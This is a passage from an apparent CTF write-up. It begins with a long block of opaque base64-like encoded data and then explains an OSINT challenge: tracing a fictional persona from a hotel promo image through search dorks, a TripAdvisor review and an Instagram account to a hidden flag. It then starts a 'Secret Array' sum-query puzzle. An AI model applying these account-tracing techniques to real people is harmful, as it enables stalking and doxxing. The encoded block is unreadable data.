VkObzlxXsUa7bvUbNoLV46aOuxRq6dqsaCC4dfeM1Lyu1FLWG5SevixDXFV94xIn2Ilczpds/1+SJqMrHR4ni/tpbT90Zw7SmP1de4LK9pssuirqrdSD4THzmBtcta1ubNtX95TzHE8QTWcybtsp3tnm0lWk8D+XkpZdK4O/sHs5qoysZGNsIb2aibasdzf2VrnrWrLrHOpwF1b3OJuveXWp1xycso7D7hqtb7HMZHEyY6bWVDOi40vkt6JsYl5m7nIrrOq6nVxa1dDqMbZ2jWtHdTl2+qXluJkj0V21IbdHcS4yDyVWNDkXtrj6BNSxFp1NpWZjdNe475PdEi1k5Fg5lldV1LW9VLry91SnajG4zbYmK4eJu021hknaSi7tGaheRfiWrt2KYyjWOdeh4u8uoOTNLtGdXb5SGdae6xw2JZ1s6LL+QzVlqviee4u8y27C6gW6h1VlVmp5HE5bE52ykrLBN1UNra5SSDkrdym+t72G6XXtM6a24iw4qvYuUV4jG8iylbrutmWT6pt7jEWU/c8Jgtg4IG2i2IsWXt7G9X51HtJ/i2KVymYwbUVpWntjI7E7XUyIoqOuuyyJ8IbZWO4thuuSs2shvIsvT3lOKveGY7hurbbRSmvW/yOIbpXis0S+8TZp6auWjYyEvUb3jgLLLw3S9jmyW8dfeG107NZ0b4Sd429xP8ACckt/X4jITIureQ3DTont7aXteFP8NDW3XDWLuu1oVXYxVy9djITM095R/VNZNXP6O8Y/gyqa249FlpOtVZ9jrlykfvGTFkYW8XM3GVO3iHEHotfG85YE2U4ifhTISzapbMfVjrBdLqzKymBeYiCdadKJF1+qTgu3yzecOZW3XX1FzXtZ30Ha0LqfW0GGtejrPCrFifhTCXHnaF4G3yhFZ3e2+rKZD3l1FyV5W7T6en4FwU8NVS31OYyPoex102yHP6q1uPC7K4voLz1qKZmNm+SvZbijvsytU9Gl9Ds8HP1ZyE4AvrWPVodiXGm4rwdlZXFnS5R1WdaFaxTtfVuZX+aNGvDV7ZXld+rGvMxsz8o2txRINmQyjfZTiGTX1aLxOedHs5qXKymHE0zc9lZnNdkXkt+7dv1Saa23v3b0tZtlUxUnvMjeVvLZtdjRJPa3UdWl16hurPI6WPStlGmW4uOIXtbXSXVm5HFPlke+e6RtWX3Sq/nubhnVkZTRa1gkfb3jQ6hs5c5SPoLEysYySzWE2tyjamy4DeGW6RJddmc7fiXE2Nq1Hni7WpQDiLXiN7JqvExYn4qkZqt8RhZu3gZqta9qnP9qiQZmWv63ncymFZtrIX2irLH2mIqPE3ibkYroorxIo+1SGv0n7WVVNFLdPrQvWTUl+lJYy3CZm5sF1tn7T0HhDjS1e16V+67HnD2FddlKMba0bIIrvr7TDUe5PksZcXFEiRWiYwMjhLGe6po2pdxODtfUaMlwrNyNBmYsjazU0l2Uy22UuJ9SbsmNZPPJFNRuk0por3M3Nv2zu2xveFb2G65+ssQYV7mblZKaxdMGz4lSCdqeqoAjqPUrlPonDXl1a/TxbGRLlLaJfNTBfN2s/NWZT26Z2NxBCvuNsY/3UQLJqyGqv7V7ptrY0t1YXMHc9GNzGJa7yDN2V12rKqsZiuje9seZ2+iybO7KdDZ3UCctbj94lxJk6t17dijuYw7fJQMvnsZPX3XtMtpYp0YoZ9SlryigXfEuLy1MF7+NfJi02Rp7oVtF7SpttTSNlqr4oxabL3TeCGU22F5iY7xdWZjRT8ISN9FKZPr+UZvoitZ8q7G5dJZtpJeFb6L3djBlwd8nd0mOvRsj7zFaxXTeRebPBxUUGQt27YXNjBeSLy3ZlY6X1ORvhLb4RJe5i89pMdLdlf0Xls5toriOX3u4x7PDWjckl2U2i8II3da3Ri6bm1kvp2lmfCZKzX84pbi3XtZu45ttmjIxd1oYC7qX1lr7wFUphSpr7xmboxQyowGEjunvGTFeUbtKHgp7pjvFry+II2yuUOxgLcSIXvWqMpqA60MKVaGQ8tGMeWVAqwy0LTq/ul1ij2t2qBbXdfIlnMxLCSVe0sT2dzB5QtqBY2G9CotspGlW5UrFteagKu7BubFGxVQmzSdnXxYyre8uYmp3bGNvr4qFbYbRuosvGvc0WrnK8W575UkjiXt0NmcjeLvdSPr+M1tlr5yyy1ZTJnSrKYaJNtqNiN6oVrLVe4l02LYGzsOIchYd0UraqddiPSMjtpeKcE7IsZjJybnqpU097x2WscktGgmVm+Ez2idPJTw31DK2GPpf2tXZfqmzwPpEyETdKdtmX3WNJp68ylHaaPG8V2l6tOr827G9ieGVdkdWCapsWJ7C0ul1lhUvsuvugK43L+jy2vOclq+rHBZbhLK4vnvbO0fxanuStqTsj9rosn6yg6fOcFhWdtW7WNja4j1Jt99j2DKcL4u/WrKnSkY4bJcKXuL3kTaWIaHD5F6tcVU5+9Wa6mosSMxu8jut1XZWUwrLLQ2Ejs6bMaxrGUWbXh7Iyrt0mUNhshbts8TGbLxXdNzVFVVNS+Svb+40abVWNXVcd2NlZtNeSerKncpnpg7vqV3Uqs7/H4G1oyusty1DEuOKLu9b5tdS6ibXJ8a8XPZTUXCaGVpk7xu5X1MqLE2zds8vcTivNz2/wBYy7DLz2TbbdpsZ+HqI20Uqsa24sJoPOJh9bX2OyxOZrdL1YJdW95TYXTQ5a3qj69U8/srp7NqMisdPZ3tL2PeLtlUSWNcpWmvbWSymqrK2pbSWreLHRy6XsdUlXVzm7q1ks5vqnWVyyxXlYuqxgLKXVlNOVjMbkymM71RiVlMeV+4aRU7UYpVijYbG4tXmahmYu5WK8TbxaprdidjNiPT4mo8dGXXUOefW+WurfxdtTc2vEtfGU5WVuZOl9ql2Kd4m2RjVQZy1l7WdVM5JY37o5VY53Gt8nQWeb25JObdJ6Tr2HGGXa3727U221M2OkyjpJ7WOVe7yNZLZ3Nu20T7KZsGRgulpr5GUq9plvbAt7+RO2Ve4z3SC8j1uUVlNDkp7mBqssJpvujyNnJ3KrRfqjo3W4yXCGrdfHXHTk+EwIsjdY5ulfo36xvMbxBBerTu7jPvIrK8j0uUUmlmbVxXCTx0eJ9i4srr3GovMHdY2Ss+Kl6kfw/hK7PMo7dK6XpyksbmTa9epcR6lKrRl2Vu0oZdfFjLpyZfrVS4txX4jX+0qVqqO06bRLyRfeM1MpIvvGg6tSpZ6mk06RMvX3jKTKRsvccotwVrP9YcmdOxiv7b4y8txH7rnFrLX4i4t1InvF5GnaJLRvFg3l47HJJkplMtMs6+TF3DTdXWNtb+PWWJTi83Zx424ppaNIrHSRZcutf2s66yxKxmyU08jyKyevVlit+1vqnP5nhq+uofWURtWPdpbXF3ENU6SqYkGBgSTtbaP4TPCD5qfCXUTatspusNa0i5LPse+3vBuMv46NoqscplOBZLWSjWyqyk+seT5beK4r0k2U0nybd3rVbRtVPZosHGjUW5hU6C3w2O9X7LTb9UfWPnFVurC4R4tlZKnUwcXyXVnWC87m5arse1N6PMJfrs9s8bMai89DuMdtothwNPD7i4o0lVXxYxfV0Ztj2eX0O7N2uarKeiy9tfou4mrE0819X+b7DFaCu3cdu/CWTt+14WMKXh+bbRkYzvKJpyUsCOuqN3CysLl5O6h1f3KTwL1dTOt7eFForJqxnLyWJpz7WclvHTyKZ0qi0dPI7S3tbRvIi8x1tKvYqnL7VkchFxVlbPsglM2DN5S9b75Y21rgbRZKtOpntiY2WiwKZ+2NaaG4iS/XvbuUxrVrm1uNU2VeZ1tviUXyXuMpsRG/ujnGLtl4iwpPbo8sytsDAS3ureTVZe0F+yM7rTJebfSO2plJ6q/cs37xpdviUzILdG7lPsf1Ym3Q2+SpZ+LqxavOIUftaJWNJLbze4rMW2tbny6TD+q6rYeu2srd8TKXoreGdvmnLFviZp1p2m1gwN3BydTFsJKzrPF16faxdawyEXhKpct4JkXvbUy08vpTnXWMBLO+fzYykxdX8nNjB3NqxlS29FhqysRWl+SY1by2MhbCBfEwp8ykDVR111LC8Qw7dpRtvV4E9wtM1pExq58zVvBTT3WRmZdhMWblHYrdWvs1ZS6stH8FU86iyU6SdzHSY3JbLtsLiSuhZ6KxWrUMaJ+quxd1prqYbi77G8B7SE5IpCtUgnkX7e9mt/Fixtr7oXvA6Szy1J1okpNxiYbhasmqsc5s6+JnWeUmi7QLE9rNbtVXVtSxsdPBdQXi6sq7fWMW6xG/N4ArQs9SpX+IuS2727VWRC3rTXYgyImDRd2xj71VSevRveAuOqamE6GQzV1LEr111KLO+v0hjPPRmKnfbtMV1orVYmxk/qsRs/umJtX3WLyS0XyKMuK4niNlBm6eM6LqaffbxJ1oxRvmsrHI90TqrGuusNc2/j3KYas8TbRsymytczNF2yrsoGodKp2urKUnUfeWRXyVWMC4wjr3Rdwa20w2Lz28kTaupa1ISitUur3For21CovZela1Ocfub9Y3GUf71oaFWqE0h02bUuLb/Mu2viTF3TG0laFLf63IsZctLzVti2qbqXL1KrJs7dNTHiem3a6sEVsmq6liJdJNTIdtlLKeWrAbvHX+Ts5Keqr14uXdEy8yie9xE+SrLeWj20vPu/BShbs7ySwak6GVcZe1yK19atE6nxKpdqreW29Y2sX2Q2dlnrmzamrnL7Ii/NLqpdW42XuA9Gs+NI/Ytyp0NnnMde8tLhFb4Txrq190hLqSJtlZlYiWPddaN3KNdTybHcX3tm1FZ2ZTsbDjeyuOSz9rGmdOm8m7izcQO8ddFVv1i5a3FrdLR4JkYuq2/iU04rM8PY6/jqt1atE/xr7KHnWU9Gkjby46+il+qe9MiS81kRWNRe4GF23ttom+qXTT5rusJkMXul1bupi7QpDXy6h77ksbVlql1bdVfi1OJy/ANlerVrOZYH+GQrFxjy5Xd27zf4bI2try68SsWcjwrk8a1d4WZfiU1XtRtXVlG6xcY9Ps8tjrpaRRaKZMtnbP7inlSSujbRPqxtrXiG6g5bPsbmTjli664xe3dE+uphvb3y9rLFIv6pZt+KElXVl7i1PnJ9tVTtOsyc9VW8Cbavbl21nsbWb4WLUGbSVtZU1M9rC1v49lX+8pdbJdMq4tYMjb1lsXXrp7nxGllX1haxSr84prX6+GzUXQmZjrLy3TI2dLy2X51adymbNO0y24u6t3t5PqlCm8+bulqr9shpbq3e3mLEsQr7FuVisolNSuSNqMRsWlJ2NQXdiGKNgzAVq2vvFW5YKlUaRdWWqt5GbBkp4vB2NdtqFcag3a569X3jYWHFEm2k6qcwvMuL2mLhCZPRrXJRy8nic6Kwy3bRZTyGKV08XZTYQZe6g5d7MYvijpMnsjdO4j112VjSX+DXWrIuxzeL4w6DUWU7XHZeyyMdOlKpwuFjrM9uLeye3m3gZo2U2tlnH1pBeL/eOlnx1tP3aqYU/D8Mqk3prTHZrmBevbP1E+Ex5bfHZtarKrQXSl+zgnsptGbZC/dY5LhaSp2uRe3PM2T4ek+d+dgNrZ5e2vfF12MmBnVfVr+HqxfEabL8Ia/fWJlZfeZTKy10CvsV+w5LF5ma1k9WvF1Y6RZaSrsgdJWQylOpa2cqTmRvarWg1CsTuGVXeT1XUhXJ9jDS7T1SvqlvWhOoZ2urOXOv9YxgGts1Z6l5LiRffY1m1StZ6hG3W/mX3zIXLPr3LsaJZyvrE3Rt3vIZ/OJDNsrq2gWisqnNtLsXUfYbo7JL+2bxZS4s8beLnGK9fiLq3Ei+8XdY412O1GDLRvJNjlUyUy+8ZMWXc1yONb1rOB/KFP8ACYc+BsZ229XT/CWkzNPeUykykLF3E1kxm4csXh0aJTTXnAGPn56qdSl5C3vlzqxt76k4407ecT+jZF59JnMb7gbmL4j1Hbb3hrUxfDjV28gvOFb5F7YmNcmGyKNrox7hojeSqW2s7Z/5pTnfjYnJ46uOubVd5VYw3yNEk1ZtT1+6wcFwuupobzgK2uOeupxvxalrhFuEn7o3UHUt6O+l4ODH8fJGKuBsdtHhXYvLg8erdsSmwynJPn0Nct5T3mPocq3xi78nWMX80pbZLFl10QieVHj7XNFePp3K5qbLJGylaOD6NFCZlF7HU55clpJ3OXPWo5W2bU1pjboPlG0l8mMOW6tVbtY0lw0a9ysYnXV/e7hxNty2ZdG1Q22J4oRW6UsWynItBVl2Vu4lWrAuxZim3X5a1gyK1eKJTkrq1WzbuRlM6y4h9V7W2YpyN5XJLRlQukta1bjT3diJbqjL3IUNBJF7ogartq8TF9JO2Ky0l7jJtZ627UNmmO6q6qupeXFonLdTNsa0vWuchTlsbVMtav3K6mpXCQSqVJw9RfCU53Tcb1b2N17SvepqYrB4u1nNkkVVj8jLQ91p5FtrrblqxauLV25tsaaeK7ibZQOia8jVfItS5KGLu37jQq7suz7GNdQM3duWYxNt6/EOrbIxct+Op4Oxl2OJlWRVrqxSnNeTP5G5jGbk9Gbi+l4vdCa+fOURtlRjlEv+hy1U2lvdQ3S6uo4xOVZD8Rw7VMWXPJ5K5ausWkrdimovMbNB7rDjDdbZuJZF94zrPiNJe1ziXgcts0ifETjF3XpC3UEvcrFLvR+1TgYL25Vu1m1NzYX87MZsbjomi+sWHWQrglq3cymSvIy3GJFLIhlJPt3FDIStv267BdL6y7FfaYS80k7mL6yo3vdwRk76+LamRb5KeDt22UxF8QoTTfxXtldLrKurFm4xCPzaBjS7GXBeTwd25TS1PZzwNq8TGMx0sGWguF1nUmXG2lwu8TKDbj72KjQmlbkrHZX+JmSN+3ZTkbqB4mIu026062xZy17HZwvK7L2mTarTXY4njW97ugrFZc5lszc39xVllZYzCTI3MTbLKxXZY6a9mokSnSxcJWkEdOvcfOAU4nPJeLSCdtZDcqq67MaaXhCmvVtZe4uWc88C+rXSt1FCN4z7QlKr2liB+3UuK1QC7qVs+pb2K9qahVKTl5p9jFVSrbX3QMhGK99WMTql5X2UDZWuUurPuiuHU6TCcePb9t0cM7ax9pm4HEpmbzpSyrGUex2HEuPv1ppMisbhWo67K2ynz3xXb5DhKajRbsnxKZfDXpIvfYjuxraae6TxJKurKaS/wkcvcqKprsdxzbT8ln7TfxX8F5HtFMjDY5C4xEiNVW2kX4WOdyXC+PveatF0pPiPUHgo6mM+NhfyRWLtmx4RkuALu35vZypKv1TnLjHXdm2ssLqfRc/D9G7om1+qpgS2GCaN4Mnos6mozY8Ds8bkLianQibY39vZZC1kT1lUOmy2SscdM8VgqnMXGXknavedZi42Nne2dq9rsuu5jYvKJYNVJdtDSS3knxsYrtI/kbcrizcteUbLUni7lU2Nrl71JklgXtXyU5yCWlvdU6q7Kxtb26ht4Uls5fL3SVrGadJeWdLi39etV1b3lNW60uF1fyNfjc9PF3M2y+8pvp7NJ7X1yz7l8mUzHRzk8DwSa+6W/JTfPBHcQ/WNJPBW3kqb052MOpGxcdat3KWQwq2JViglVc0LoIWJy8sFdRtFrWrEqtS8qalegFpWLisT0gqFc9KlYuKxbVStVI1F1eTGzxt7JZSUaJzU/VLsS1X3jNx21LqvS8XxBS6Wis+rG9TJVXkrHkkU7xNRlbU6vEZyOflFcsefLB6sc3WXUsb8nUuJeI693aYa6Muytsobp69xy1p09thsmvxKXYGordviaVb22i/3lP8AEXFyMLeEqmmWxyXD9nlIdtOnKcdK11gbjR9mi5nRtmap4sYd5eJkY6pPEpnTpFdrkYbyOmrKZa8ziZ4p8XNsm3SN/i8pSdabMZXbb8gVbUfuUahVJOw2DcgJ2GxG1AE0q2K9i0VAXCS1sV7AVAp2J2AroSrVLZOwF3epX1SzzAa2vrLQrWUxhsDbL6pUstTD3K9wjNWeq+8Xkun+I1u5cVwjapfyL7xlplnNEspWspU06NMlRvIvLfoc11itLqql2mnTreRsXVeje8cwt0ZCXlV94vI06MGmTI1UF5RNPNnzdWj0djR3GUaLmuxp/WJJS3cI7rsynSYxi51tUzlVjquxYnyVZTUL29pfR0OkxjNyqpOcsncxnJBVfJzB6se3wsZSK7r5hmVlvEzL5bFlYiGadChp5F90y3tmxK/xFTxdVfIwUute4r9a2LpGVBZwO3cxv8TjYWmou/a1TQ2tvSeSh0VnZvFy1djnllpuTbrH4UsWhp3KaK8w0dvcaqq6m0s7qRFortsptFt4biP63I53KtzHTlks0IeKjdpn3kFbeTZVbUxtqsxldMCVaxNRV8THa8rFzbYy52b2qaG8Z159vaakKrnzNYpPiMiLiGNmoc/K23cymN2LJsa4s7dk2ZjZSxLloTSW88LdrF9Yo5WM6OTZtkbHpmFLLbT89XLL4ijNXVihMNMrF6FmWzq/gxaaykNl6nPEte0t9eaLtdC7Ti13qcilSQSJ4sZTXtGbxKkeOUDPxt5JByWVFZTq7e1sb2PuQ4ht08XMuDJXVvy1bxJbVjprrg20l+ciNLdcOQJzV0NhZcV0btl7ZC9Pfx3q9xN1pokwNrqVJiY08FKL157dtk7lMX7oXRdXiJ2bbWK1097tK/qGl+6VG8lHy5C3vE0vJuH7O1Q3jsrGjfMxr3Kxitnq+1Rprk37+P1illr7GNAueqrdxsoM3G69w0bbJJZl7te0vJLtz2MRb+N/FiNtmo2xFlbL8I11MFZa9QyVuKBV5frF2Kd4JOx2LG2w1qoTTcwZn8KTr2saHIpGtxXZdkcvKUXEVZY6hlrWsqQLV0baNjyri9avltVPVUd0V1bxPNOIYqNxJGoaVWbJiMbtr869CLe1yeS+dXx+Jii4ZZclCjfRp5HodlZRpa0aDuglir/xA5iKzvYIaNusi/8AlsRcdO4XvXV/iNRBeX1lxRWwR2aJm11Oj4hxtcdNr8VAWNWjaF3c1lncffFUdjNVisLpc31UtbACdtWKt9ihiAJZSVYpKgqGlrrUyrBpn+gdkcxGXtLtq7p4sUZlxxLkYG6GVsfW4PrLzMRVws81J4E6DN7uvI3mO4gpZyUS8soLmJvLqGXlE4byi7QQrbP9VeRppqJ1tljToSqxNrkbuyk2guGNctglhM6pK0ilfMjDs8bxzNE1Fue47PHcQ2ORjprMit9Zjxdi5E7xNsjasCPfolRuTKyt+qeTelDCZBbyt5as2rFvF8V31hyVpWZTrLfibHZuHoX3aWXRZt88y3l2rVWVW2CXTnuOS9HOOyLVls7hG2OWvfRbdRc9EN82ODztLpdtmMhLhHYy8lwbl8dNXW0dozS3EE9q2sqNGxeaXBVfvTqdhaV2Ze5TYYG1tr281vGZUNxf8PQLz9Vm2LusWacvE9V5nTcNcQfJd0nVXqWzeSnO3UElu2rrqInp0zXaPSslYR27UvrNtrZ+5jWXVql1HupjcNcQUT7wvm+9nMu9V7C42TugbxY1Mkc9cW7wSa+6Y6qjMdEypeKaS9sHTmyGtsWK0t42K+kimia9mgbVtiPlRyJp0KJRSvaH4jnflZ2LkF+m1d2JyOG283jKOrGponyMfUrrUhbzb3izJPrb3roxS0qGl6tfiK1fb3jXI+ttWnQj1jU1bP8AWLfVYbODcetqFvPrGl6tSnaT3TPNfrbxr/X3guSROTdXuU0bJI/kxaazfbzJbtqYad/jeN/V49JW2Mi446SWOqIh5/BFGvmxmxT2yN3HKzbtLIyLzMzPcVZXYrsOILqKamztqWJbe0nXdZS0lrT3RxV6DZ8QWjw03fuIfiW1gk+mVlOA9Vf4mLi4vfu2YlxWV3FxxXayx6rq36wxeZgW491VY5KLA1f3jLXh6f3ZmM8Tb2LFrDeR0aCZP8Rm3nRs4dpdtjyjFpk8dJTS4c635XnurPpXXcw4m28iljn7kYloq6nNxO8Tdj6m2t8i6rTfZjNxa2zVgJ0K0uIX8SddjK7W9QXVQjpAW9iSrpDQAAqk6kAkjUASCABUVFskC4SpaJ2Av8iko3J3Ar9pO1SnYq5gTuxUrlBIF3cuK9TG9pVtUDJV6gx1aoA4KCwhibRtjJTE9Vqrr2m9XF0ebY30GJhltaMnkdObHB5ne4N4Ju1e1jDfDSe4elZHFv6vXt2OTa8pBJVHTXU1M6XCOUlx08XPZC9b2s/xMdYz2sqozKam6nRGrovabmTncWK/UWPZjGlun8WUqnvaN7upgStVm7mOkYvS68uzamVZ2/VYwF+qxk2tw8TbbFqSuuxuNdeTHQRRaqcZZcRyRNRWOms+IIJeWx5s5du+FjYM1ULtllKxSdJ1Mf1yGVatsay4uqJzYzI3t3KwR3Edd2Odv7N7CTXbyMTG8QpbrVZ22M+6ykd5DVtNvZ2l4pvTUTpt3bGoukqy17ixeX91BJVdW1MB8lIvkrFkS1e0oq9xjywRv4lDXtX57L2lvq017TbKhrfpN21K4pZEbyYvQJ1Wp3GyTHJKpm00xYL94m8tjaQZamuzGJLhKovYxrJ7K5g5+0yrq0yMEsfcWpVtnOZSWirq3axnwSoy+Y0u12WK2RttSzvbfCqkTpRlrq5rZYtPeLIlbLeFvFzFnfXxY1bStsFuKqXSbZLvIvcvkXYs3c2vJG7lMNrrbuZSltGXb4hpdugt8t1Y/Ii4tY7hd18jnF3TxNha5TRaI5dQ2s3FrWLyQwWSjN2nTNcQzrrqrGsurPuqyNqpNG2n6T/EU6yGWxjMzr7xYbU6OT15Iihp5ijqyN2sOjbLiykkRlRcQSbU9hptXZi6kEjeJnUaldFBnKy9uxlJmX17u45u3tZNvEzYrebxMWRuNw+er7C9BxKitRXNatlt5EthqSrXUjTp4Mzav76mal5A/i6nBNw/dL3ROwS1ytn3MzA07mW3jl5669x5lxLYVg4ihbU6iyvL5PIx89ayZGOOXT5xK0IunDz81uLpuXjzOn4F4hpLbyY66bX3k2I4SbFpnrpMsu0Dczr5+DeE71fWbC96DAcvjbCGfjKe87dYtmN1eWVzmYbzJ3LdOBq/NKxflwdrg7WslrMty/OjOxxXE3G91cXEVrbK0FqtaLoCtBdc7fIJ9p0DrTyU1vEESMsdyvvGfat18Wj/AKCsJVi4pjRS0ZqqZ0SbBFtlKKmb0DHeKoVZKidQEUs5VbvTWpRqUxdvMDKZi1tRvd7iWIVqGlVKxWrlpijYyjJ22JVSwrFauBfLqNr3KY6uV7Ght7PL3Vm20UrHUY7j+SDkl0uynA7jq/oA9fi4lxmSWm2vd8R5t6S8TAzR3NtEupqVd0bZHZTIly08sPQufnF+sIPP4pelJVG7S96/PFJTWVi7lrNPWqtF2qYCxP7x3xrjk30F/BeQ1iuoUk+sxjLw/wCsSVa2b9VTBXmp23AtrW9vqqx0tjnHG3FhdWvNZYnOo4fyMeSt/ky6bubtRmPScjwuk66tsxz9rwRaxZKly3zWldjG466cfcJNjrqsTbdtS8ssdxH3eR3fGXD9s+LjntW2dDzhoJIm7l1LKzYonxsL9zIay4xMLeKm9iuKt2sRPF7yqb6Yc98idvaW2wdWOiXmo2qxOLPJzD8PSL3KULiZ1Oo7/i7TY2r2qr86isxOKzJxC425X3WK/k65+BjvGurVG+iUrTM2Kcl9UQmq3t5/8nXfwMU/J118DHp0T2113KiqZCYuCXy0J2vTyxMXdfAXvku6+E9TXAw+7qVthoYo9jJp5UuEvm91i6nD923kdrdSyQSaqjal6zv4F+lUm104leGbpjKi4VfXvU9Dguse/uqZ6RWMq9rKNnGPN4OGo08mM5MJAh191g4ZW2jlKUxFUG1052LA7r2oZsXD1dfA6e3iS38VMlZaMZ5Lpy6YN1LzYuZPFTo2eilO+3uk5LpzDWs6+6VaTL5KdJpRiWgp8I5mnL9Wqt4sZEV46/jY3bWELrXZTnMotLfmqKxqXbN6bJb2jeTMZkV7InvbKchb3snvGyiuvrC4bN11kV6j+XaZStt4srHLRXtG8lM6C4fyiYxcdLLW+UbGAmR92VdS8s9H8WM6bZHsHItlSkVVyHIq1I2AjkOROxIFPIcivUAUcinUuAC3qNS5qNQLZUVajUCCdqk6jUgqVipXLJIGQrAtcwAXp67K6mXjr2kE2my6seX2uZutdW2U21neyS8tpTdxZ5PSZ7iDXubyOLzlnB1uqqmzskrdW+23iZUuG9Yhqre9QnppyEC2XjsVSpYp2sU3GI9QmcxW6Lc9nNYs1g3lrayrVlY1EsGjar3GwutF8WNcyuvPuPTi45rWtdiveg1XXuYo17vqm9OK8rFxJ5E7kLCrR+aoxdXeJdRZCZVtIMvO3JVNtFLW6Wiuc9asiyU2N7ZvRV227Thljp6MbtsVxNJV2VjY41PU2oj9xrIstSJdS58tx9Q5brppuMjYQOu6ovccVkVjt2q2nadfZ5KO4kojMvcbe/4ax95a9WJVZjW2a8nVo3LyLG3apvMvw16nJsidpopcdcqtdEY17Y3WUiUTuVjJW4eDuU1cFleu1FZTaxYi7bkS4tTJU2SdfeMOfKbMX7rGyWvJpfeLC2VH5k0u2ullq5j7TL4sZz29FapjvFquppFn1yZe1mLbXkjFx0pr3GOyfCIzarV6fEXUVP7xY6XaUOsnsZSo2OqFzWHbU1G8nUpqGndG8iaalbfoKYE7R7GO1xIy1bYtbVfvHEtZqXFYPFu0yVveqxp3avxdpbV3VqMrF0y3ssSTr29rGtniki+JjOs7qP2LKdLb462uo6asupK1HCNLX4SOrVTv5eDYbhdojUS8MvBJVXQzyjUjnIpas3ibG3evvIZy4bT8RlRWVV7dTNrchbtH09tDYQJC60bXUtxWdF8qGX6vRVoctukitreMlbdF7ipYpFUqifbtYrQq6ktydSmVu7VSxvVW2UgqaCie6Eamrq66+wdd9u4uvydaKZVw0FhZNxQ6XX0DczP4gyPD2Jt/VrNtm5/CWOILKsF4jqvaxzOSwMzZC3lRdonejG0dhhMtC81oyK0kvLV0kXlTkdFxN6O8dxDD65jNYrnyZTnMvb0sMbBPbIqyxctmOkweXkvcbDf2r/OrSnVQJXn3EOLmx2PpbXVNXQs8Pbz414lXbWh0XpByNMkvVZdWOV4ZvXgV1UrDElaSC6dTNs8jq2rG7sExl1dV9eXuap1VvwVgL+Pa1mXcDkorrZS9tRza3/Bt1Zc2g7lNC8U9rJq6sRpfaIsNEVpcfEXNqSk2yxuRQifhMxkoWVSqyGtiyy1LZlOpb0CLRBdZCjkaFJcKCoCouKxaKgLhKqW+ZXsBOxanbYuFDKQabIp7ymp67q31TobqLZaqc9cQVikOkrFiremux6X6LLiyiuqddzy1WMuwupLW4o0Tspq5MafVTQR3HdEyspYnxtHjqrIrKeNYTjzJ43l39RT0fDekSxyK0W5VY5DG24z58WjW7xKnacnlOFNlqyop6Pbva3ke8UqMW57OntXU1Kjw684fkg56qYSROraSr2ns15iY5VqrIcpkuHvw6FmTNxcFpTqaMJbeqrsqmyusNMjVLCtNF2uux2lcri1Xt+HUhlobZ4o5VMR7PQ3yjGmKNPqlXiVG+hVFPp7plJeP7rGCQZshysbuLLTJ75m2+bo3mpy6vqXVlM3CVqZ1163ljP5opblsLG6+iVVOaVy4lxNF4uYuGm5nG3lwMmvzRZt7C7ik8iIMzMnkxsIMzC30hi41uXGtnZrIi97GVv8AWNfFkYX7dy8ro3ixzsrc0ytlBi93usVKzqZ00v8AcNyzu+xLSxp3Ow0m2WrdpDzxxL3uYy3UL+Lmvvcdc3nPpOWYo2S5a1ZtdzI6VreL3anDz4m7t2EV/eWvvMa1pNx015w1G3dA+ppZ8XdWreLMpmWfE1fYrm5iykNwpdpXKpPVPJGM63vKP7puZcdbXRZiwkaN2sS2WE2hEkde1diVWeLuX5s2lvEkHaX3SF11ZDDo10WSaJqLL3GelxHP4sWHxyMtdFNbPBPA3lqTQ33j5DbY1Nrf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Having this image, I tried to EXIF it, I tried to search it using the free available reverse image search websites used for OSINT (Google, Bing, Yandex, Tineye) but I was always failing.
Seeing the image it looks like it was shared in a social media network but since we know that not all the shared images are indexed by the search engines so this makes sense. And that's why this part was the most difficult part for me.
And that's where comes the Google dorks tricks. The only thing that we know about this image apart the fact that it seems to be shared on a social media network is it was promoting Hilton hotel.
So by searching for any relation between Eword and Hilton hotel, we can find something that can lead us to the Eword leader.
I tried several search queries until I was satisfied with this one: ``"eword" hilton hotel``.
I accessed that [link](https://www.tripadvisor.com/Hotel_Review-g304088-d600703-Reviews-Hilton_Podgorica_Crna_Gora-Podgorica_Podgorica_Municipality.html) and I searched for that review.
Someone with the name `Wokaihwokomas Kustermann` wrote that feedback on 26/08/2020 which matches with the task time range.
I inspected his profile to make sure I'll not be missing anything.
I found that he was recommending to check his instagram profile.
So, by searching for `Wokaihwokomas Kustermann` on Instagram, I found his profile: [https://www.instagram.com/wokaihwokomaskustermann/](https://www.instagram.com/wokaihwokomaskustermann/)
There was only a shared story that is identical to the image that we were searching for.
In this step, I was stuck again with no other hint because we don't know whether another detail was removed or how can we find the flag until I found that there was another story that I was missing after watching the first story.
Knowing that the user mentioned about a square shaped image and that the Instagram was only showing circular shaped images, I thought about inspecting the image using the Browser's inspection tools (right click -> inspect the element -> select the image -> see the source code of that image -> retrieve the image link -> open it in a new tab).
After doing this, I found the square shaped image.
And the flag was in the part of the image that was hidden by the circule. But the actual image was small. So after failing to retrieve a bigger image by tweaking the URL, I asked Google for a website that retrieve the Instagram profile image in HD. And that's how I found [http://izuum.com/index.php](http://izuum.com/index.php).
I used the Instagram username `wokaihwokomaskustermann` to search for that user.
And the website got me a great HD image.
Full image:
So the flag is : ```Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}```___
## Secret Array
**Category:** Misc**Points:** 283**Author:** KOOLI**Description:**
> ``nc secretarray.fword.wtf 1337``
**Hint:**
>(no hint)
### Write-up
When we execute that command we will get the following output:
```[x] Opening connection to secretarray.fword.wtf on port 1337[x] Opening connection to secretarray.fword.wtf on port 1337: Trying 3.208.42.57[+] Opening connection to secretarray.fword.wtf on port 1337: Done
I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:```
The first thing I thought about was to find how much requests do we need to send to the service to be able to solve the problem and then we need to find how we can do this with coding.
For the problem resolution, I though about an array of 4 elements "a0 a1 a2 a3".
To get the values of each element using sum, we need 4 operations as follow:
```a0 + a1 = x1a1 + a2 = x2a2 + a3 = x3a3 + a0 = x4```
Where x1, x2, x3, x4 are known since the service is returning the sum value of the 2 indexes's values.
